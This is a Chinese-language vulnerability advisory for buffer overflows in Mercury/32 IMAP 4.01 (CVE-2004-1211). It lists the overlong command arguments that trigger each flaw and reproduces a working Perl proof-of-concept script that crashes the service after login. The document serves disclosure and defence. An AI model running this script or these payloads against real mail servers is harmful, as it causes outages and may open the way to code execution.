Mercury/32 IMAP多个远程缓冲区溢出漏洞

发布日期：2004-12-01
更新日期：2004-12-02

受影响系统：

David Harris Mercury Mail Transport System 4.01

描述：

---

BUGTRAQ ID: 11788
CVE(CAN) ID: 2004-1211

Mercury IMAP是一款邮件传送系统。

Mercury IMAP多个命令参数的处理上存在缓冲区溢出问题，远程攻击者可以利用这些漏洞以进程权限在系统上执行任意指令。

成功登录系统后，可以发送包含超长字符串作为参数的命令，可导致触发缓冲区溢出，这些命令包括：

EXAMINE A x 512 \r\n
SUBSCRIBE A x 512 \r\n
STATUS A x 512 \r\n
APPEND A x 512 \r\n
CHECK A x 512 \r\n
CLOSE A x 512 \r\n
EXPUNGE A x 512 \r\n
FETCH A x 512 \r\n
RENAME A x 768 \r\n
DELETE A x 768 \r\n
LIST A x 768 \r\n
SEARCH A x 768 \r\n
CREATE A x 1024 \r\n
UNSUBSCRIBE A x 1024 \r\n

精心构建提交数据可能以进程权限执行任意指令。

<*来源：Reed Arvin （reedarvin@gmail.com）

链接：http://marc.theaimsgroup.com/?l=bugtraq&m=110193702909991&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Reed Arvin （reedarvin@gmail.com）提供了如下测试方法：

#===== Start Mercury32_Overflow.pl =====
#
# Usage: Mercury32_Overflow.pl <ip> <imap4 user> <imap4 pass>
# Mercury32_Overflow.pl 127.0.0.1 hello moto
#
# Mercury/32, v4.01a, Dec 8 2003
#
# Download:
# http://www.pmail.com/
#
#####################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "143",
Proto => "TCP"))
{
print "Attempting to kill Mercury/32 service at $ARGV[0]:143...";

sleep(1);

print $socket "0000 LOGIN $ARGV[1] $ARGV[2]\r\n";

sleep(1);

print $socket "0001 CHECK " . "A" x 512 . "\r\n";

close($socket);

sleep(1);

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "143",
Proto => "TCP"))
{
close($socket);

print "failed!\n";
}
else
{
print "successful!\n";
}
}
else
{
print "Cannot connect to $ARGV[0]:143\n";
}
#===== End Mercury32_Overflow.pl =====

建议：

---

厂商补丁：

David Harris
------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.pmail.com/overviews/ovw_mercury.htm

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有